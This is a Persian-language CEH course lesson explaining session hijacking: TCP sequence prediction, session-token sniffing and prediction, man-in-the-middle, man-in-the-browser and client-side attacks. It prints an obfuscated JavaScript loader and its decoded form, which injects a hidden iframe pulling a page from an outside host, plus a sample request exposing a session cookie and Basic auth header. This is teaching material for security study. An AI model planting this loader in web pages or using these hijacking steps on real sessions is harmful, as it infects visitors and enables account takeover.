برای مطالعه قسمت قبل آموزش رایگان دوره CEH اینجا کلیک کنید.
روبایش نشست
روبایش یک نشست اجازه میدهد رویکرد شنود وارد مرحله بعدی شود. روبایش یک فرآیند فعال است که از نقاط ضعف TCP / IP در یک ارتباط شبکهای بهره میبرد. در حمله سرقت نشست هکر ضمن آنکه به دنبال شوند است، سعی میکند بستههای مخربی را به درون شبکه تزریق کرده تا بتواند یک مکانیزم ارتباطی معتبر را بهدست آورد.. هنگام بررسی نشستهایی که روبایش شدهاند باید به دو نکته زیر دقت کنید:
حملات مبتنی بر لایه انتقال در مدل اواسآی که بر مبنای پروتکل TCP انجام میشود: تمرکز روی تزریق بستههای مخرب در زمان انتقال داده است.
در حملات مبتنی بر لایه کاربرد، تمرکز روی بهدست آوردن یا محاسبه شناسه نشست است.
TIP Spoofing عمل تظاهر به شخص دیگری است ، در حالی که آدم ربایی شامل گرفتن یک ارتباط فعال است.
حملات مبتنی بر لایه حمل و نقل
نکته: شنود به عمل تظاهر به نشان خود خود به جای شخص دیگری است، در حالی که روبایش به معنای به دست آوردن یک ارتباط فعال است.
هک لایه انتقال
تمامی فرآیندهای هک لایه انتقال با هدف به دست آوردن یک مکانیزم احراز هویت معتبر پیرامون یک سیستم فعال انجام میشود. هک و ورود به یک سامانه را نباید یک کار کم اهمیت تلفی کرد، زیرا به هکرها اجازه میدهد تا دستوراتی روی سیستم قربانی اجرا کنند. مشکل روش فوق این است که مهاجم ابتدا باید نشستی را شناسایی و پیدا کند. برای موفقیت در روبایش یک نشست مبتنی بر لایه انتقال باید چند کار انجام شود:
1. یک نشست فعال را شناسایی و پیدا کنید.
2. تعداد توالی را پیشبینی کنید.
3. یکی از طرفین را آفلاین کنید.
4. کنترل نشست را در دست بگیرید.
شناسایی و پیدا کردن یک نشست فعال
وقتی مهاجم و قربانی در شبکه یکسانی قرار دارند، این روند بسیار ساده است. اگر هر دو کاربر روی یک هاب قرار داشته باشند، این فرآیند به انجام کار خیلی خاصی به جز یک شنود منفعل نیازی ندارد. اگر از سوئیچ استفاده میشود، هکر باید از شنود فعال استفاده کند. در هر صورت، اگر مهاجمی بتواند توالی و شمارههای تأیید را شنود کند، یک مانع بزرگ را برطرف کرده، زیرا نحوه محاسبه دقیق اعداد کار سادهای نیست.
اگر مهاجم و قربانی در شبکه یکسانی قرار ندارند، پیشبینی شماره دنبالهها به شکل غیر مطمئنی انجام میشود. روبایش یک نشست در این حالت کاملا پیچیده و دشوار است، زیرا توالی و شمارههای تأیید ناشناخته هستند. در این حالت، شماره نشستها را باید حدس زد یا ممکن است مهاجم چند بسته را به سرور بفرستد تا شماره دنبالهها را پیدا کند. اگر این فعالیت در دیوارآتش مسدود شود، فرآیند کاوش خراب میشود. در گذشته از تکنیکهای اساسی برای تولید اعداد دنبالهدار استفاده میشد، اما امروزه دیگر اینگونه نیست، زیرا اکثر سیستمهای عامل فرآیند ساخت تعداد توالی را به شکل تصادفی انجام میدهند که پیشبینی دقیق آنها را دشوار میکند شکل زیر مراحل اساسی روبایش یک جلسه را نشان میدهد.
پیشبینی تعداد توالیها
بحث در مورد اعداد متوالی نیاز به بررسی TCP دارد. برخلاف UDP ، TCP یک پروتکل قابل اعتماد است. این پروتکل به دلایل وجود مولفههای زیر قابل اطمینان است:
دستدهی سه مرحلهای
اعداد دنبالهدار
روشی برای شناسایی دادههای از دست رفته
کنترل جریان
یک فرایند رسمی قطع ارتباط
بهکارگیری یک مکانیزم برای پایان داده به یک نشست زمانی که مشکلی به وجود میآید.
طراحی پروتکل TCP به این صورت است که هر بایت دادهای که انتقال پیدا میکند باید دارای یک توالی باشد. شماره دنباله برای پیگیری وضعیت دادهها و تأمین اعتبار آنها استفاده میشود. اولین مرحله از دستی سه مرحلهای باید شامل یک شماره دنباله منبع باشد تا سیستم مقصد بتواند از آن برای تأیید بایتهای ارسال شده استفاده کند. شکل زیر این روند را بهتر توضیح میدهد.
کلاینت بستهای را برای شروع یک نشست FTP به سرور میفرستد. از آنجایی که جلسه بر مبنای TCP ایجاد میشود، همانگونه که در مرحله 1 اشاره شد یک پرچم SYN تنظیم میشود. مشاهده کنید که تعداد دنباله روی 0D5D0000 تنظیم شده است. حداکثر اندازه سگمنت (MSS) استفاده شده برای اطلاعرسانی به سرور برابر با حداکثر مقدار دادهای پیش از شکسته شدن است که برابر با 1470 بایت است. در مرحله 2 سرور به درخواست کلاینت برای شروع جلسه TCP پاسخ میدهد. از آنجایی که این مرحله دوم است، پرچم SYN و پرچم ACK تنظیم شدهاند. دقت کنید که تأییدکننده اعلام کرده که بایت بعدی که از کلاینت انتظار دارد 0D5D0001 است که شماره ترتیب اولیه (ISN) +1 است. همچنین توجه داشته باشید که MSS برای سرور برابر با 1024 تنظیم شده که یک مقدار تنظیم شده مشترک برای سرورهای لینوکسی است. حال به مرحله 3 دقت کنید که کلاینت با ارسال بستهای به سرور و تنظیم فلگ ACK و یک مقدار acknowledgment که برابر با 3BDA55001 آخرین مرحله از دستدهی سه مرحلهای را انجام میدهد که یک مرحله اضافیتر نسبت به یک سرور ISN است.
اکنون با نحوه بهکارگیری و استفاده از اعداد دنبالهدار تا حدودی آشنا شدید. سختی پیشبینی اعداد متوالی به سیستمعامل بستگی دارد. برخی از آنها در تولید اعداد تصادفی عملکرد بهتری نسبت به سایرین دارند. Nmap، که پیشتر به آن اشاره کردیم، میتواند به شما در پیشبینی شمارههای دنباله روی یک سیستمعامل خاص کمک کند. Ettercap و Hunt نیز میتوانند پیشبینی توالیها استفاده شوند. برای دانلود ابزار Hunt به آدرس زیر مراجعه کنید.
https://packetstormsecurance.com/sniffers/hunt/
مهاجمان پس از تعیین توالی مناسب در چه زمانی این توانایی را خواهند داشت تا بستههای خود را به شبکه تزریق کنند؟ بدیهی است هکر قبل از پایان جلسه باید این کار را انجام دهد، اما همانگونه که روشن است، مهاجم در ابتدای جلسه نمیخواهد اینکار را انجام دهد. اگر هکر به سرعت اینکار را انجام دهد، کاربر هنوز هیچگونه تأیید اعتباری انجام نداده و اتصال مفیدی برای هکر ساخته نخواهد شد. هکر باید منتظر بماند تا کاربر گذرواژه را وارد کرده و فرآیند تأیید اعتبار را کامل کند. پیشبینی توالی نقش مهمی در هکی داشته که کوین میتنیک در سال 1994 انجام داد و موفق شد کامپیوترهای Tsutomu Shimomura را هک کند.. بدون انجام اینکار، حمله فوق به سرانجام نمیرسید.
آفلاین کردن یکی از طرفین
زمانی که تعداد دنبالهها را به دست آمد، هکر آماده خواهد بود تا کاربر متصل به سرور را در وضعیت آفلاین قرار دهد. مهاجم میتواند از حمله انکار سرویس استفاده کند، از مسیریابی منبع استفاده کند یا حتی یک فرآیند تنظیم مجدد برای کاربر ارسال کند. مهم نیست که چه تکنیکی استفاده شود، هدف این است که کاربر از مسیر ارتباطی خارج شود و سرور فریب بخورد که که هکر همان کاربر قانونی است. تمام این فعالیتها میتواند باعث وقوع طوفان ACK شود. وقتی که هکر در تلاش است تا بستهها را تزریق کند، به دنبال جمعآوری بستههای مربوط به کاربر است. در برخی مواقع این فرآیند، گیرنده بسته جعلی قصد دارد تا یک ACK برای میزبان دیگری که در حال گفتوگو با آن بود ارسال کند. همین کار باعث بروز طوفان ACK میشود.
به دست آورد کنترل یک نشست
اکنون هکر میتواند کنترل جلسه را به دست بگیرد. تا زمانی که هکر جلسه را حفظ کند، یک اتصال معتبر به سرور دارد. از این اتصال میتوان برای اجرای دستورات روی سرور و تثبیت موقعیت استفاده کرد.
روبایش لایه کاربرد
کل نکته روبایش لایه جلسه این است که بتوانید توکن نشست را دزدیده یا پیشبینی کنید. روشهای مختلفی وجود دارد که اجازه انجام چنین حملهای را فراهم میکنند که از آن جمله میتوان به شنود شنست، پیشبینی شناسه جلسه، حملات مرد میانی، حملات مرورگر، حملات سمت کلاینت، حملات بازپخش مجدد نشست و نمونههای مشابه استفاده کرد.
شنود نشست
شنود نشست راهی است که از طریق آن میتوان حملهای پیرامون لایه کاربرد ایجاد کرد. مهاجم ممکن است به سادگی از یک شنودکننده یا ابزار دیگری برای گرفتن توکن نشست استفاده کرده و در ادامه به دنبال سرقت شناسه نشست باشد. بهطور مثال، در قطعه کد زیر Burp Suite اطلاعات احراز هویت مربوط به وبسایتی که از یک پروتکل غیرایمن استفاده میکند را نشان میدهد.
GET /knowthetrade/index.html HTTP/1.1
Host: knowthetrade.com
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Referrer: http://www.knowthetrade.com/main1.htm
Cookie: JSESSIONID=user05
Authorization: Basic Y2VoOmhhY2tlcg==
در مثال قبل، دقت کنید که چگونه JSESSIONID روی مقدار کاربر05 تنظیم میشود. پس از شنود این مقدار، مهاجم به سادگی سعی خواهد کرد از این توکن معتبر برای دستیابی غیرمجاز استفاده کند.
پیشبینی شناسه توکن یک نشست
بسیاری از سرورهای وب برای تولید شناسه جلسه از یک الگوریتم یا الگوی از پیش تعریف شده سفارشی استفاده میکنند. هرچه الگوریتم به کار گرفته شده در این زمینه کیفیت پایینی داشته باشد، پیدا کردن شناسه سادهتر خواهد بود. اگر مهاجمی بتواند چندین شناسه را ضبط و الگو مربوط به آنها را تحلیل کند، ممکن است شناسه توکن یک نشست را پیشبینی کند. بهطور مثال، فرض کنید شما توانستید یک شناسه را ضبط کنید و مشخصات شناسه به شرح زیر است:
JSESSIONID = jBEXMZF20137XeM9756
شناسه فوق ممکن است تا حدودی ایمن و به اندازه کافی طولانی به نظر برسد. با این حال ، اگر بتواند چندین نشانه جلسه را ضبط کنید، الگوهای موجود در مقدار آنها تا حدی زیادی آشکار میشود، به مثالهای زیر دقت کنید:
JSESSIONID =jBEXMZE20137XeM9756;
JSESSIONID =jBEXMZE20137XeM9757;
JSESSIONID =jBEXMZE20137XeM9758;
JSESSIONID =jBEXMZE20137XeM9759;
JSESSIONID =jBEXMZE20137XeM9760;
پس از کشف یک سری از دنبالهها، هکرها باید یک حساب کاربری را سرقت کرده و بر مبنای آن حمله به توکنهای مربوط به شناسههای بعدی را ترتیب دهند.
حملات مرد میانی
یک حمله مرد میانی زمانی رخ میدهد که مهاجم بتواند میان یک کلاینت و سرور قرار گرفته و اطلاعاتی که میان این دو مبادله میشود را شنود کند. راهکار فوق به مهاجم این امکان را میدهد تا بستههای موردنظر خود را بهطور جدی به شبکه تزریق کند.
حملات Man-in-the-Browser
حمله Man-in-the-Browser شبیه به حمله مرد میانی است که قبلاً در مورد آن صحبت کردیم، با اینحال مهاجم ابتدا باید کامپیوتر قربانی را با یک تروجان آلوده کند. مهاجم معمولاً با استفاده از روشهای فریبکاری اقدام به تزریق بدافزار به سامانه قربانی میکند. به عنوان مثال، ممکن است از قربانی خواسته شود که برای تماشای فیلم، افزونهای را نصب کند یا یک برنامه را بهروز کند یا محافظ صفحهنمایشی را نصب کند. هنگامی که قربانی بدافزار را روی سیستم خود نصب کرد، بدافزار به سادگی منتظر میماند تا قربانی از یک سایت هدفمند بازدید کند. بدافزارهای موجود در مرورگر میتوانند بهطور نامرئی اطلاعات مبادله شده میان مبدا و مقصد را تغییر دهند. همچنین میتوانند بدون اطلاع کاربر، تراکنشهای اضافی انجام دهند. از آنجایی که درخواستها از طریق کامپیوتر قربانی ارسال میشوند، تشخیص اینکه سرویسها جعلی هستند برای وبسرویس وب دشوار است.
حملات سمت کلاینت
حملات سمت کلاینت آسیبپذیریهای روی کامپیوتر کاربر نهایی را هدف قرار میدهند. بسیاری از وبسایتها کد هایی را تهیه میکنند که مرورگر وب باید پردازش کند. حملات سمت کلاینت میتوانند شامل برنامهنویسی XSS، جعل درخواست چندسکویی(CSRF)، تروجانها و کدهای جاوا اسکریپت مخرب باشند. XSS به مهاجمان امکان میدهد کامپیوتر قربانی را با اسکریپتهای مخربی که درون صفحات وب قرار دارد آلوده کنند. حملات CSRF زمانی رخ میدهند که قربانی همزمان به یک سایت قانونی و مخرب وارد میشود. در این حالت مهاجم میتواند به بهرهبرداری از یک نشست فعال که قربانی روی یک سایت قابل اعتماد ایجاد کرده استفاده کند. جاواساکریپت میتواند کدهای مخرب را پنهان کند. قطعه کد زیر نمونهای از بهکارگیری رویکرد فوق است:
function convertEntities(b){var d,a;d=function(c){if(/&[^;]+;/.est(c))
{varf=document.createElement(«div»);f.innerHTML=c;return
!f.firstChild?c:f.firstChild.nodeValue}return
c};if(typeof b===»string»){return d(b)}else{if(typeof b===»object»)
{for(a in b){if(typeof
b[a]==="string"){b[a]=d(b[a])}}}}return b}; var
_0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\
x22\x33\x22\x29\x3B\x32\x2E\x39\
x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\
x2E\x61\x3D\x27\x34\x27\x3B\x30
\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\
x2F\x67\x2D\x68\x2E\x6D\x2F\x6
A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\
x69\x74","\x65\x6C\x7C\x73\x74\
x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\
x6D\x65\x7C\x31\x70\x78\x7C\x4D
\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\
x69\x6C\x64\x7C\x69\x64\x7C\x73
\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\
x64\x74\x68\x7C\x76\x61\x72\x7
C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\
x63\x74\x69\x6F\x6E\x7C\x70\
x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\
x6F\x72\x64\x70\x72\x65\x73\x73
\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\
x7C\x31\x30\x30\x30\x7C\x63\x6
F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\
x67"];eval(function(_0x2f46x1,
_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6)
{_0x2f46x5=function(_0x2f46x3){return_0x2f46x3.to
String(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3)
{_0x2f46x6[_0x2f46x3.toString(_
0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f
46x4=[function
(_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=function ()
{return
_0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3){if(_0x2f46x4[_0x2f46x3])
{_0x2f46x1=_0x2f46x1[_0x4de4[4]]
(newRegExp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),
_0x2 f46x4[_0x2f46x3]);}}return_0x
2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));
این اسکریپت خاص برای شروع یک حمله IFrame استفاده میشود. در ادامه جاوا اسکریپت کد زیر را مهیا میکند.
function MakeFrame(){
var el = document.createElement("iframe");
document.body.appendChild(el);
el.id = 'iframe';
el.style.width = '1px';
el.style.height = '1px';
el.src = 'http:// counter-wordpress . com/frame.php'
}
setTimeout(MakeFrame, 1000);
یک Iframe یک سند HTML توکار است که درون سند HTML دیگری در یک صفحه وب قرار میگیرد.
هر شکل از کدهای همراه از یک مدل امنیتی متفاوت و فرآیند مدیریت پیکربندی خاص خود استفاده میکنند که باعث افزایش پیچیدگی امنیت میزبان و خود کدها میشود. جاوااسکریپت یکی از رایجترین تهدیدات پیرامون دستگاههای همراه هستند، اما اپلتهای جاوا، ActiveX و Flash نیز میتوانند حملات سمت کلاینت را ترتیب دهند.
در شماره آینده مبحث فوق را ادامه میدهیم.
برای مطالعه رایگان تمام بخشهای دوره CEH روی لینک زیر کلیک کنید:
ماهنامه شبکه را از کجا تهیه کنیم؟
ماهنامه شبکه را میتوانید از کتابخانههای عمومی سراسر کشور و نیز از دکههای روزنامهفروشی تهیه نمائید.
ثبت اشتراک نسخه کاغذی ماهنامه شبکه
ثبت اشتراک نسخه آنلاین
کتاب الکترونیک +Network راهنمای شبکهها
- برای دانلود تنها کتاب کامل ترجمه فارسی +Network اینجا کلیک کنید.
کتاب الکترونیک دوره مقدماتی آموزش پایتون
- اگر قصد یادگیری برنامهنویسی را دارید ولی هیچ پیشزمینهای ندارید اینجا کلیک کنید.
نظر شما چیست؟